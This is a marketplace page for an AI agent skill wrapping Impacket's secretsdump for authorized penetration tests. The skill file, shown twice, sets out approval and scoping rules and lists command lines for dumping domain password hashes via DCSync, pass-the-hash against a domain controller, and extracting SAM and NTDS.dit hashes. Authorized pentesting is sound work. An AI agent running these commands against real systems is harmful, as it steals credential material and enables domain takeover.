How do I install the Impacket Secretsdump skill?

Run npx skillmds@latest add timsonner/impacket-secretsdump in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Impacket Secretsdump safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Impacket Secretsdump?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Impacket Secretsdump free to use?

Yes. Installing skills from SkillMD is free. This skill is licensed under MIT.

Who published Impacket Secretsdump?

timsonner (@timsonner) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Impacket Secretsdump by timsonner — Agent Skill

Name: Impacket Secretsdump
Author: timsonner

Impacket Secretsdump

Use for tightly scoped credential-material validation during authorized internal pentests. Trigger on approved LSASS, SAM, or NTDS exposure review, privilege-boundary checks, and confirming whether a specific credential path can access sensitive authentication material.

timsonner cd41247 2.4 KB Updated Sep 17, 2026

File contents

Impacket SecretsDump

Purpose

Use this skill only when the rules of engagement explicitly authorize validation of access to sensitive Windows credential material.

Phase Fit

Primary: Validation and Controlled Impact Demonstration
Secondary: Retest and Closure

Use When

Need to confirm whether a specific approved credential path exposes sensitive authentication material.
Need to validate the severity of an administrative boundary failure.
Need a tightly controlled retest after remediation.

Avoid When

Credential-material access is not explicitly approved.
The target is a sensitive controller or server without clear guardrails.

Inputs

Approved host or domain controller
Authorized credential or hash context
Exact boundary on what material may be accessed

Procedure

Confirm written approval for this level of validation.
Scope the check to the single approved host or dataset.
Use the minimum technique needed to prove the boundary failure.
Stop as soon as the approved proof standard is met.
Protect all output as highly sensitive evidence.

Command Syntax

Replace sample domains, hosts, and credentials with approved in-scope values.

# Dump hashes from a domain-joined host
secretsdump.py contoso.com/auditor:'<password>'@10.10.10.100

# DCSync: dump a specific account
secretsdump.py -just-dc-user administrator contoso.com/auditor:'<password>'@dc01.contoso.com

# DCSync: dump all domain hashes
secretsdump.py contoso.com/auditor:'<password>'@dc01.contoso.com -just-dc

# Pass-the-Hash
secretsdump.py -hashes :<NTLM_hash> contoso.com/administrator@dc01.contoso.com

# Local SAM dump (from exported hive files)
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# Local NTDS.dit dump
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Evidence to Capture

Whether the approved access path exposed sensitive authentication material
Exact host, account, and scope used for the proof
Minimal output required to support remediation

Safety Boundaries

Use only with explicit written approval.
Minimize collection and protect all output as sensitive evidence.

---name: impacket-secretsdumpdescription: Use for tightly scoped credential-material validation during authorized internal pentests. Trigger on approved LSASS, SAM, or NTDS exposure review, privilege-boundary checks, and confirming whether a specific credential path can access sensitive authentication material.license: MIT---# Impacket SecretsDump## PurposeUse this skill only when the rules of engagement explicitly authorize validation of access to sensitive Windows credential material.## Phase Fit- Primary: Validation and Controlled Impact Demonstration- Secondary: Retest and Closure## Use When- Need to confirm whether a specific approved credential path exposes sensitive authentication material.- Need to validate the severity of an administrative boundary failure.- Need a tightly controlled retest after remediation.## Avoid When- Credential-material access is not explicitly approved.- The target is a sensitive controller or server without clear guardrails.## Inputs- Approved host or domain controller- Authorized credential or hash context- Exact boundary on what material may be accessed## Procedure1. Confirm written approval for this level of validation.2. Scope the check to the single approved host or dataset.3. Use the minimum technique needed to prove the boundary failure.4. Stop as soon as the approved proof standard is met.5. Protect all output as highly sensitive evidence.## Command SyntaxReplace sample domains, hosts, and credentials with approved in-scope values.```bash# Dump hashes from a domain-joined hostsecretsdump.py contoso.com/auditor:'<password>'@10.10.10.100# DCSync: dump a specific accountsecretsdump.py -just-dc-user administrator contoso.com/auditor:'<password>'@dc01.contoso.com# DCSync: dump all domain hashessecretsdump.py contoso.com/auditor:'<password>'@dc01.contoso.com -just-dc# Pass-the-Hashsecretsdump.py -hashes :<NTLM_hash> contoso.com/administrator@dc01.contoso.com# Local SAM dump (from exported hive files)secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL# Local NTDS.dit dumpsecretsdump.py -ntds ntds.dit -system SYSTEM LOCAL```## Evidence to Capture- Whether the approved access path exposed sensitive authentication material- Exact host, account, and scope used for the proof- Minimal output required to support remediation## Safety Boundaries- Use only with explicit written approval.- Minimize collection and protect all output as sensitive evidence.

Frequently asked questions